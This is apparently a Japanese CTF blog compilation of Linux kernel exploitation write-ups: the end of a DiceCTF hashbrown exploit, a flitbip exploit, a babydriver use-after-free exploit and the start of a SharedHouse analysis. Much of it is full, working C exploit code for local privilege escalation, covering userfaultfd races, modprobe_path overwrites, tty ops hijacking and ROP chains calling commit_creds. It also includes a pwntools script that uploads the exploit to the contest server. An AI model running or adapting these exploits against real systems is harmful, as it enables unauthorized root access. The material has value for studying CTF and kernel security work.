  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
  uffdio_register.range.start = (ulong)uffdaddr;
  uffdio_register.range.len = PAGE;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    errExit("ioctl-UFFDIO_REGISTER");

  s = pthread_create(&uffdthr, NULL, fault_handler_thread, (void*)uffd);
  if(s!=0){
    errno = s;
    errExit("pthread_create");
  }

  puts("[+] registered userfaultfd");
  return uffdthr;
}
// (END userfaultfd-utils)

/******** MAIN ******************/

int main(int argc, char *argv[]) {
  char buf[0x200];
  faultsrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  memset(buf, 0, 0x200);
  hashfd = open(DEV_PATH, O_RDONLY);
  assert(hashfd > 0);

  // race-1: leak via shm_file_data
  for(int ix=0; ix!=threshold; ++ix){
    add_key(hashfd, ix, 0x20, buf);
  }
  register_userfaultfd_and_halt();
  add_key(hashfd, threshold, 0x20, uffdaddr);
  limit <<= 2;
  threshold = limit * 3 / 4;
  pthread_join(uffdthr, 0);

  // leak kernbase
  get_value(hashfd, targetkey, 0x20, buf);
  printf("[!] %lx\n", ((ulong*)buf)[0]);
  printf("[!] %lx\n", ((ulong*)buf)[1]);
  printf("[!] %lx\n", ((ulong*)buf)[2]);
  printf("[!] %lx: shmem_vm_ops\n", ((ulong*)buf)[3]);
  const ulong shmem_vm_ops = ((ulong*)buf)[3];
  const ulong kernbase = shmem_vm_ops - ((ulong)0xffffffff8b622b80 - (ulong)0xffffffff8ae00000);
  const ulong modprobe_path = kernbase + ((ulong)0xffffffffb0c46fe0 - (ulong)0xffffffffb0200000);
  printf("[!] kernbase: 0x%lx\n", kernbase);
  printf("[!] modprobe_path: 0x%lx\n", modprobe_path);

  // race-2: retrieve hash_entry as value
  targetkey = threshold - 1;
  memset(buf, 'A', 0x20);
  for(int ix=SIZE_ARR_START * 3/4 + 1; ix!=threshold; ++ix){
    add_key(hashfd, ix, 0x20, buf);
  }
  register_userfaultfd_and_halt();
  add_key(hashfd, threshold, 0x20, uffdaddr);
  pthread_join(uffdthr, 0);
  for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
    memset(buf, 'A', 0x20);
    add_key(hashfd, ix, 0x20, buf);
    get_value(hashfd, targetkey, 0x20, buf);
    if(((uint*)buf)[0] != 0x41414141){
      printf("[!] GOT kUAFed object!\n");;
      printf("[!] %lx\n", ((ulong*)buf)[0]);
      printf("[!] %lx\n", ((ulong*)buf)[1]);
      printf("[!] %lx\n", ((ulong*)buf)[2]);
      printf("[!] %lx\n", ((ulong*)buf)[3]);
      break;
    }
  }

  // forge hash_entry as data and overwrite modprobe_path
  struct hash_entry victim = {
    .key = ((uint*)buf)[0],
    .size = ((uint*)buf)[1],
    .value = modprobe_path,
    .next = NULL
  };
  update_value(hashfd, targetkey, 0x20, &victim);
  update_value(hashfd, ((uint*)buf)[0], 0x20, "/home/ctf/nirugiri.sh\x00\x00\x00\x00");

  // trigger modprobe_path
  system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
  system("chmod +x /home/ctf/nirugiri.sh");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
  system("chmod +x /home/ctf/puipui-molcar");
  system("/home/ctf/puipui-molcar");

  // NIRUGIRI it
  system("cat /home/ctf/flag.txt");

  return 0;
}

 

今回はまだ問題サーバが生きていたからsenderも。

sender.py
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./exploit"
LIBCNAME = ""

hosts = ("dicec.tf","localhost","localhost")
ports = (31691,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge():
  global c
  pass

## exploit ###########################################

def exploit():
  c.recvuntil("Send the output of: ")
  hashcat = c.recvline().rstrip().decode('utf-8')
  print("[+] calculating PoW...")
  hash_res = os.popen(hashcat).read()
  print("[+] finished calc hash: " + hash_res)
  c.sendline(hash_res)

  with open("./exploit.gz.b64", 'r') as f:
    binary = f.read()
  
  progress = 0
  N = 0x300
  print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
  for s in [binary[i: i+N] for i in range(0, len(binary), N)]:
    c.sendlineafter('$', 'echo -n "{}" >> exploit.gz.b64'.format(s))
    progress += N
    if progress % N == 0:
      print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(len(binary))))
  c.sendlineafter('$', 'base64 -d exploit.gz.b64 > exploit.gz')
  c.sendlineafter('$', 'gunzip ./exploit.gz')

  c.sendlineafter('$', 'chmod +x ./exploit')
  c.sendlineafter('$', './exploit')
  c.sendlineafter('$', 'cat /home/ctf/flag.txt')



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

8: アウトロ

f:id:smallkirby:20210215214220p:plain

sender

問題サーバ生きてるやんけ、と思ってやってみたら、exploitバイナリの送信でタイムアウトになるわ。。。

取り敢えずローカルの画像貼っとこひょっとこ。

f:id:smallkirby:20210215214854p:plain

dice{春が来たら海を見に行きたいです}

【追記20200216】やっぱバイナリ送るときってdiet-libcみたいな軽量libc(diet-libcは流石に古いか。muslとかuclibc)とリンクさせとかないとダメなのかな。 と思ったけど、gzipするのを忘れてただけだった。あとstripするのも忘れてた。この2つをちゃんとやったらサイズが1/4になったのでglibcでいけました。(UPXしとくのも良いらしい)

send.sh
# send binary
gcc ./exploit.c -o ./exploit --static -masm=intel -pthread -no-pie -fno-PIE
strip ./exploit
gzip ./exploit
base64 ./exploit.gz > ./exploit.gz.b64
python3 ./sender.py r

f:id:smallkirby:20210216095259p:plain

dice{h@$hM@p_r3s1z1ng_r@c3_c0nd1t1on_w1tH_sm3p_sm@p_kPt1_&_fGK@sLR}

【追記終わり】

 

いい問題でした。大切な要素が詰まってるし、難易度も簡単すぎず難しすぎず。

おいしかったです。やよい軒行ってきます。

 

9: symbols without KASLR

symbols.txt
hashmap: 0xffffffffc0002540
kmalloc_caches: 0xffffffff81981dc0
__per_cpu_offset: 0xffffffff81980680

FGKASLRのせいでモジュール内の関数にブレーク貼れないのマジでストレスで胃が爆発霧散するかと思った(nokaslr指定しても無駄だし... :cry:)。まぁ起動する度に確認すれば良いんだけど。

 

 

10: 参考

1: author's writeup

https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html

2: LWN about FGKASLR

https://lwn.net/Articles/824307/

3: pwn chall in HXPCTF also using FGKASLR

https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/

4: kernel structure refs

https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628

5: しふくろさんのブログ(modprobe_pathについて参考にした)

https://shift-crops.hatenablog.com/entry/2019/04/30/131154

6: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

【pwn 47.0】flitbip - Midnightsun CTF Finals 2018 (kernel exploit)

keywords

baby / kernel exploitation / n_tty_ops

 

やっぱりリストを埋めるのそんなに楽しくないため、次からは面白そうな問題だけ解いていこうと思います。

 

1: static

basic

basic.sh
/ # cat /proc/version
Linux version 4.17.0 (aleph@codin) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)) #1 Fri J8

  -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null \

SMEP無効・SMAP無効・KASLR無効・oops->panic

 

new syscall

新しくsyscallが追加されている。

flitbip.c
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>

#define MAXFLIT 1

#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif

long flit_count = 0;
EXPORT_SYMBOL(flit_count);

SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
        if (flit_count >= MAXFLIT)
        {
                printk(KERN_INFO "flitbip: sorry :/\n");
                return -EPERM;
        }

        *addr ^= (1ULL << (bit));
        flit_count++;

        return 0;
}

任意のアドレスの任意のbitを反転させることができる。flist_countによって回数を制限しているが、KASLR無いからflist_countを最初に反転させることで任意回ビット反転ができる。

 

2: get RIP

任意アドレスに任意の値を書き込むことができる状況である。しかもSMEPが無効のため、RIPさえ取れればそれだけで終わる。このような場合には、struct tty_ldisc_ops n_tty_opsを書き換えるのが便利らしい。これはTTY関連の関数テーブルで、新規ターミナルのデフォルトテーブルとして利用され、且つRWになっているもの。

ex.c
# 構造体
static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};
# 初期化
static int __init pps_tty_init(void)
{
	int err;

	/* Inherit the N_TTY's ops */
	n_tty_inherit_ops(&pps_ldisc_ops);
(snipped)

というわけで、こいつのreadを書き換えてscanf()なりgets()なりを呼ぶことでRIPが取れる。

 

3: LPE

あとは、用意したshellcodeを踏ませれば終わり。KASLR無効よりcurrentの場所が分かるため直接current->cred.uid等をNULLクリアする。

 

4: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>


// commands
#define DEV_PATH ""   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  setreuid(0, 0);
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

const ulong n_tty_ops_read = 0xffffffff8183e320 + 0x30;
const ulong n_tty_read = 0xffffffff810c8510;

static void shellcode(void){
  // まずはお直し
  *((ulong*)n_tty_ops_read) = n_tty_read;

  // そのあとpwn
  scu current_task = 0xffffffff8182e040;
  scu cred = current_task + 0x3c0;
  for(int ix=0; ix!=3; ++ix)
    ((uint *)cred)[ix] = 0;
  asm(
    "swapgs\n"
    "mov %%rax, %0\n"
    "push %%rax\n"
    "mov %%rax, %1\n"
    "push %%rax\n"
    "mov %%rax, %2\n"
    "push %%rax\n"
    "mov %%rax, %3\n"
    "push %%rax\n"
    "mov %%rax, %4\n"
    "push %%rax\n"
    "iretq\n"
    :: "r" (user_ss), "r" (user_sp), "r"(user_rflags), "r" (user_cs), "r" (&NIRUGIRI) : "memory"
  );
}
// (END utils)

// flitbip
const ulong flit_count = 0xffffffff818f4f78;

long _fff(long *addr, long bit){
  asm(
      "mov rax, 333\n"
      "syscall\n"
  );
}
long fff(long *addr, long bit){
  long tmp = _fff(addr, bit);
  assert(tmp == 0);
  return tmp;
}
// (END flitbip)

int main(int argc, char *argv[]) {
  save_state();
  int pid = getpid();
  printf("[+] my pid: %lx\n", pid);

  char buf[0x200];
  printf("[+] shellcode @ %p\n", shellcode);
  ulong flipper = n_tty_read ^ (ulong)&shellcode;
  fff(flit_count, 63);

  for(int ix=0; ix!=64; ++ix){
    if(flipper & 1 == 1){
      fff(n_tty_ops_read, ix);
    }
    flipper >>= 1;
  }

  fgets(buf, sizeof(buf), stdin);

  printf("[!] unreachable\n");
  return 0;
}

 

 

5: アウトロ

f:id:smallkirby:20210214142507p:plain

midnight{スマブラやりて〜〜〜〜〜〜}

違う、こういう問題を解きたいんじゃない。。。。。。。。。。。

次からは簡単過ぎる問題は飛ばして良さげな問題だけ見繕おうと思います。

 

 

6: 参考

1: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 46.0】babydriver - NCSTISC CTF 2018 (babykernel exploit)

keywords

super-easy / baby / heap / UAF / slub / kernel exploit

 

 

 

1: イントロ

kernel強化月間なのでいい感じの問題集を探していたところhamaさんのブログによさげなのがあったため解いていく。第1問目は NCSTISC CTF 2018babydriver

ブログよく見てみたらhamaリストには2019年版もありました。解いていきたいですね

 

2: static analysis

basics

static.sh
$ modinfo ./babydriver.ko
filename:       /home/wataru/Documents/ctf/ncstisc2018/babydriver/work/./babydriver.ko
description:    Driver module for begineer
license:        GPL
srcversion:     BF97BBB242B36676F9A574E
depends:
vermagic:       4.4.72 SMP mod_unload modversions

/ $ cat /proc/version
Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #1 SMP T7

  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
  -smp cores=1,threads=1 \
  -cpu kvm64,+smep \

SMEP有効・SMAP無効・oops->panic・KASLR有効

 

cdev

cdev.sh
(gdb) p *(struct cdev*)0xffffffffc0002460
$1 = {
  kobj = {
    name = 0x0,
    entry = {
      next = 0xffffffffc0002468,
      prev = 0xffffffffc0002468
    },
    parent = 0x0,
    kset = 0x0,
    ktype = 0xffffffff81e779c0,
    sd = 0x0,
    kref = {
      refcount = {
        refs = {
          counter = 1
        }
      }
    },
    state_initialized = 1,
    state_in_sysfs = 0,
    state_add_uevent_sent = 0,
    state_remove_uevent_sent = 0,
    uevent_suppress = 0
  },
  owner = 0xffffffffc0002100,
  ops = 0xffffffffc0002000,
  list = {
    next = 0xffffffffc00024b0,
    prev = 0xffffffffc00024b0
  },
  dev = 260046848,
  count = 1
}
(gdb) p *((struct cdev*)0xffffffffc0002460).ops
$3 = {
  owner = 0xffffffffc0002100,
  llseek = 0x0,
  read = 0xffffffffc0000130,
  write = 0xffffffffc00000f0,
  read_iter = 0x0,
  write_iter = 0x0,
  iopoll = 0x0,
  iterate = 0x0,
  iterate_shared = 0xffffffffc0000080,
  poll = 0x0,
  unlocked_ioctl = 0x0,
  compat_ioctl = 0xffffffffc0000030,
  mmap = 0x0,
  mmap_supported_flags = 18446744072635809792,
  (snipped...)
↑ 結構オフセット違うからダメだわ
}

実装されている fops は、 open/read/write/ioctl の4つ。

 

fops

fops.c
open:
    babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc-64)
    babydev_struct.buf_len = 0x40
write:
    if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then
        _copy_from_user(baby_dev_struct.device_buf, arg_size)
read:
        if babydev_struct.device_buf is not NULL and arg_size < babydev_struct.buf_len then
        _copy_to_user(baby_dev_struct.device_buf, arg_size)
ioctl:
    if cmd == 0x10001 then
        kfree(babydev_struct.device_buf)
        babydev_struct.device_buf = kmem_cache_alloc_trace(size)
        babydev_struct.buf_len = 0x40

ioctl で任意の大きさに buf を取り直せる。

 

3: vuln

babyrelease()時にbabydev_struct.device_bufkfree()するのだが、参照カウンタ等による制御を行っていない。そのため複数open()しておいてどれか一つでclose()すると簡単に UAF が実現できる。しかも、freeされているオブジェクトを再allocするまでもなく保有できる。

え、もうこの時点で解けたことにしていいかな。。。いや、何か新しい気付きがあるかも知れないから一応やってみよ。

 

4: kernbase leak

/proc/self/statread()してseq_operationsからleak。それだけ。

 

5: get RIP

さっき使ったseq_operationsを使いまわしてそのままRIPを取れる。SMEP有効だからROP chainして終わり。まじで、ROP chainのgadget調べる時間のほうがこの問題解くよりも1.5倍くらい多い気がする。

 

6: exploit

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>


// commands
#define DEV_PATH "/dev/babydev"   // the path the device is placed

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
// (END globals)


// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
// should compile with -masm=intel
static void save_state(void) {
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}
// (END utils)

/******* babydev ****************/
#define INF 1<<31
size_t current_size = INF;

int _open(){
  int _fd = open(DEV_PATH, O_RDWR);
  assert(_fd > 0);
  current_size = 0x40;
  return _fd;
}

void _write(int fd, char *buf, size_t size){
  assert(size < current_size);
  assert(write(fd, buf, size) >= 0);
}

void _realloc(int fd, size_t size){
  assert(ioctl(fd, 0x10001, size) == 0);
  current_size = size;
}

void _close(int fd){
  assert(close(fd) >= 0);
}

void _read(int fd, char *buf, size_t size){
  assert(size < current_size);
  assert(read(fd, buf, size) > 0);
}
/******* (END babydev) *************/

/*** gadgets ***/
/*
0xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret  ;  (1 found)
0xffffffff81018062: mov rdi, rax ; rep movsq  ; pop rbp ; ret  ;  (1 found)
0xffffffff810a1810 T prepare_kernel_cred
0xffffffff810a1420 T commit_creds
0xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret  ;  (32 found)
0xffffffff8181a797:       48 cf                   iretq
0xffffffff8100700c: pop rcx ; ret  ;  (25 found)

0xffffffff81063694:       0f 01 f8                swapgs
0xffffffff81063697:       5d                      pop    rbp
0xffffffff81063698:       c3                      ret

*/

void gen_chain(ulong *a, const ulong kernbase)
{
  scu pop_rdi =             0x3e7d9d;
  scu prepare_kernel_cred = 0x0a1810;
  scu rax2rdi_rep_pop_rbp = 0x018062;
  scu pop_rcx =             0x00700c;
  scu commit_creds =        0x0a1420;
  scu swapgs_pop_rbp =      0x063694;
  scu iretq =               0x81a797;

  save_state();

  *a++ = pop_rdi + kernbase;
  *a++ = 0;
  *a++ = prepare_kernel_cred + kernbase;
  *a++ = pop_rcx + kernbase;
  *a++ = 0;
  *a++ = rax2rdi_rep_pop_rbp + kernbase;
  *a++ = 0;
  *a++ = commit_creds + kernbase;

  *a++ = swapgs_pop_rbp + kernbase;
  *a++ = 0;
  *a++ = iretq + kernbase;
  *a++ = &NIRUGIRI;
  *a++ = user_cs;
  *a++ = user_rflags;
  *a++ = user_sp;
  *a++ = user_ss;

  *a++ = 0xdeadbeef; // unreachable
}

/************ MAIN ****************/

int main(int argc, char *argv[]) {
  char buf[0x2000];
  int fd[0x10];
  int statfd;

  // UAF
  fd[0] = _open();
  fd[1] = _open();
  _realloc(fd[0], 0x20);
  _close(fd[0]);

  // leak kernbase
  statfd = open("/proc/self/stat", O_RDONLY);
  assert(statfd > 0);
  _read(fd[1], buf, 0x10);
  const ulong single_start = ((ulong*)buf)[0];
  const ulong kernbase = single_start - 0x22f4d0UL;
  printf("[!] single_start: %lx\n", single_start);
  printf("[!] kernbase: %lx\n", kernbase);

  // prepare chain and get RIP
  const ulong gadstack = 0x5DFFFA88;
  const char *maddr = mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  const ulong **chain = maddr + (gadstack & 0xFFF);
  gen_chain(chain, kernbase);

  ((ulong*)buf)[0] = kernbase + 0x0eefd0;
  _write(fd[1], buf, 0x8);

  // NIRUGIRI
  read(statfd, buf, 1);

  return 0;
}

 

7: アウトロ

f:id:smallkirby:20210214110411p:plain

flag{春ひさぎ}

 

新しい気づきは、ありませんでした。

 

もうすぐ3.11から10年ですね。あの時から精神的にも知能的にも技術的にも何一つ成長できている気がしませんが、小学生の自分には笑われないようにしたいですね。

 

あと柴犬飼いたいですね。

 

 

8: symbols without KASLR

symbols.txt
cdev: 0xffffffffc0002460
fops: 0xffffffffc0002000
kmem_cache_alloc_trace: 0xffffffff811ea180
babyopen: 0xffffffffc0000030
babyioctl: 0xffffffffc0000080
babywrite: 0xffffffffc00000f0
kmalloc-64: 0xffff880002801b00
kmalloc-64's cpu_slub: 0x19e80
babydev_struct: 0xffffffffc00024d0

 

9: 参考

1: hamaリスト2018

https://hama.hatenadiary.jp/entry/2018/12/01/000000

2: hamaリスト2019

https://hama.hatenadiary.jp/entry/2019/12/01/231213

3: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 45.0】SharedHouse - ASIS CTF 2020 Quals (kernel exploit)

keywords

kernel exploit / heap spray / kernel ROP / slub / subprocess_info / seq_operations / msg_msg / NULL-byte overflow

 

 

 

1: イントロ

いつぞや開催された ASIS CTF 2020 Quals 。その kernel exploit 問題である Shared House を解いていく。割とベーシックな問題。

 

本exploitは CVE-2016-6187 (off-by-one NULL-byte overflow)のexploitを主に参考にしている。この脆弱性は本問題と割と似ている。このCVEのexploitは非常に丁寧でわかりやすいため一読の価値あり(5年前のだけどそんなにふるさは感じない)。

 

2: static analysis

/ $ cat /proc/version
Linux version 4.19.98 (ptr@medium-pwn) (gcc version 8.3.0 (Buildroot 2019.11-git-00204-gc2417843c8)) #14 SMP Fri Jun 12 15:19:48 JST 2020

qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr pti=off quiet" \
    -cpu qemu64,+smep \
    -monitor /dev/null \
    -nographic

$ modinfo ./note.ko
filename:       /home/wataru/Documents/ctf/asis2020quals/shared_house/work/./note.ko
description:    ASIS CTF Quals 2020
author:         ptr-yudai
license:        GPL
depends:
retpoline:      Y
name:           note
vermagic:       4.19.98 SMP mod_unload

SMEP有効・SMAP無効・KPTI無効・oops->panic・シングルコア

(これvermagicSMPって書いてあるけど、ほんとにSMP有効なんかな。__per_cpu_offset無かったけど)

 

 

commands

commands.c
0xC12ED002: SH_FREE
    if note is not NULL then
        kfree(note);
        note = NULL;
0xC12ED001: SH_ALLOC
    if query.size <= 0x80 then
        size = query.size;
        note = kmalloc(size, GPF_KERNEL);
0xC12ED003: SH_WRITE
    if query.size <= size then
        _copy_from_user(note, query.size);
        note[buf.size] = '\0';
0xC12ED004: SH_READ
    if note is not NULL and query.size <= size then
        _copy_to_user(query.buf);

 

globals

globals.sh
char *note;    // user指定のsizeだけの容量
int size;      // user指定のsize

 

structures

structures.c
struct query{
    int size;
    int NOUSE; // ulong sizeでいいわ
    char *buf;
}

 

3: vuln

NULL byte overflow in kmalloc-8 ~ kmalloc-128

vuln.c
          if (command == 0xc12ed003) {
            if (note != (char *)0x0) {
              if (buf.size <= size) {
                lVar1 = _copy_from_user(note,buf.buf);
                if (lVar1 == 0) {
                  note[buf.size] = '\0';
                  goto LAB_00100107;
                }
              }
            }

 

4: まず確認

NULL-byte overflowがあるからobjectのnextポインタを書き換えるんだろうが、CONFIG_SLAB_FREELIST_HARDENED/CONFIG_SLAB_FREELIST_RANDOMがあるとhogeだし、そもそもにkmem_cache.offsetがノンゼロだと書き換えることすらできないからcheck it out.

check-slab.sh
Breakpoint 1, 0xffffffffc0000000 in ?? () # ioctl()
(gdb) hb *0xffffffff810eda10 # kmalloc_slab
Hardware assisted breakpoint 2 at 0xffffffff810eda10
(gdb) c
Continuing.
Breakpoint 2, 0xffffffff810eda10 in ?? () # kmalloc_slab()
(gdb) p/x $rdi # 0x30サイズで呼び出したからこれが目的
$1 = 0x30
(gdb) fin
Run till exit from #0  0xffffffff810eda10 in ?? ()
0xffffffff81111520 in ?? ()
(gdb) p/x $rax
$2 = 0xffff88800f001b00 # kmalloc-64
(gdb) symbol-file ./vmlinux # 型情報だけ欲しいから自前vmlinux読む
Reading symbols from ./vmlinux...
(gdb) lx-symbols
loading vmlinux
(gdb) p *(struct kmem_cache*)$rax
$3 = {cpu_slab = 0x20200 <ftrace_stacks+6816>, flags = 1073741824, min_partial = 5, size = 64, object_size = 64, reciprocal_size = {m = 0, sh1 = 30 '\036', sh2 = 0 '\000'}, offset = 64, oo = {x = 64}, max = {
    x = 64}, min = {x = 0}, allocflags = 1, refcount = 0, ctor = 0x0 <fixed_percpu_data>, inuse = 64, align = 8, red_left_pad = 0,
  name = 0xffffffff81b01e2e <ieee80211_tdls_build_mgmt_packet_data+318> "kmalloc-64", list = {next = 0xffff88800f001c60, prev = 0xffff88800f001a60}, kobj = {
    name = 0xffffffff81b01e2e <ieee80211_tdls_build_mgmt_packet_data+318> "kmalloc-64", entry = {next = 0xffff88800f001c78, prev = 0xffff88800f001a78}, parent = 0xffff88800f1d8378, kset = 0xffff88800f1d8360,
